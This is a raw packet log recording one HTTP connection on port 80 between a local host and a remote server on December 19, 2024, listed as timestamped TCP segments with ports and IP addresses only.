Dec 19, 2024 08:01:08.403589010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.403603077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.403636932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.404474974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.404541016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.404561043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.404578924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.405431032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.405469894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.405724049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.405792952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.405807018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.405826092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.406706095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.406744957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.406755924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.406769991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.406801939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.407675982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.407716990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.407733917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.407752037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.408596039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.408632994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.408644915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.408658981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.408689976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.409564972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.409619093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.409631968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.409665108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.410505056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.410550117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.410567045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.410581112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.410618067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.411439896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.411489964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.411503077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.411529064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.412408113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.412437916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.412451029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.412455082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.412487984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.413341045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.413393974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.413407087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.413446903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.414380074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.414397001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.414424896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.414462090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.414499044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.415252924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.415328026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.415343046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.415375948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.416201115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.416241884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.416245937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.416255951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.416284084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.417140007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.417171955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.417185068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.417218924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.418100119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.418124914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.418138981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.418153048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.418174982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.419114113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.419230938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.419243097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.419284105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.419998884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.420046091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.420049906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.420063972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.420098066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.421013117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.421027899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.421039104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.421092987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.421946049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.422033072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.422167063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.466957092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.502856970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.502887964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.502901077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.503012896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.503191948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.503232956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.503237009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.503247023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.503288031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.504165888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.504208088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.504220009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.504251957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.505112886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.505160093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.505162954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.505172968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.505206108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.506057024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.506165028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.506211042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.536849976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.536878109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.536957979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.536982059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.537087917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.537101030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.537170887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.537758112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.537789106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.537801027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.537803888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.537842035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.538420916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.538476944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.538489103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.538521051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.539336920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.539350033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.539361954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.539387941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.539412975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.540033102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.540118933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.540131092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.540163040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.540934086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.540982962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.541001081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.541013956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.541053057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.541642904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.541697025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.541709900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.541743040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.542412043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.542443991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.542454958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.542460918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.542538881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.543180943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.543220997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.543241978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.543267012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.543965101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.543992996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.544006109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.544013023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.544047117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.544723988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.544795036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.544800043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.544840097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.545489073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.545531034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.545543909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.545557976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.545593977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.546271086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.546320915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.546333075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.546365976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.547039986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.547086000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.547096968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.547111034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.547146082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.547858953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.547900915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.547913074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.547946930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.548602104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.548646927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.548655033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.548660040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.548696995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.549401999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.549437046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.549448967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.549510002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.550134897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.550184965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.550193071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.550204992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.550251961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.550909996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.550962925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.550977945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.551007032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.551687002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.551740885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.551742077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.551856995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.551898003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.552459955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.552517891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.552535057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.552558899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.553246021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.553267956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.553278923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.553292990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.553318977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.554017067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.554065943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.554079056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.554111004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.554827929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.554860115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.554873943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.554878950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.554914951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.555567026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.557688951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.557727098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.557740927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.557742119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.557782888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.558063984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.558120012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.558131933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.558160067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.558832884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.558881998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.558888912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.558896065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.558926105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.559657097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.559670925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.559679985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.559726954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.560386896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.560417891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.560430050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.560436010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.560468912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.561177015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.561208010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.561219931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.561249018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.561928034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.561969995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.562021017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.607647896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.695261002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.695300102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.695326090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.695559025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.695585966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.695604086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.695637941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.695725918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.695787907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.696383953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.696444035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.696459055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.696487904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.697110891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.697158098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.697175026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.697191954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.697227955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.697931051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.698005915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.698044062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.729105949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.729151964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.729166985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.729202032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.729461908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.729516029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.729526997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.729532003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.729593992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.730259895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.730396986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.730443954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.730470896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.730746984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.730762005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.730771065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.730819941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.731493950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.731575966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.731590986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.731616020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.732268095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.732311010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.732321024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.732335091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.732369900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.733036995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.733109951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.733127117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.733149052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.733844995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.733856916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.733870029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.733886003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.733911991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.734566927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.734635115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.734647989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.734675884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.735347033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.735390902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.735393047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.735411882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.735450983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.736198902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.736252069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.736263990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.736305952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.736891985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.736939907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.736952066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.736979008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.737006903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.737678051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.737736940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.737747908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.737773895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.738455057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.738493919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.738507032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.738507986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.738579035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.739221096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.739265919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.739278078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.739355087 CET	49739	80	192.168.2.9	194.87.47.113
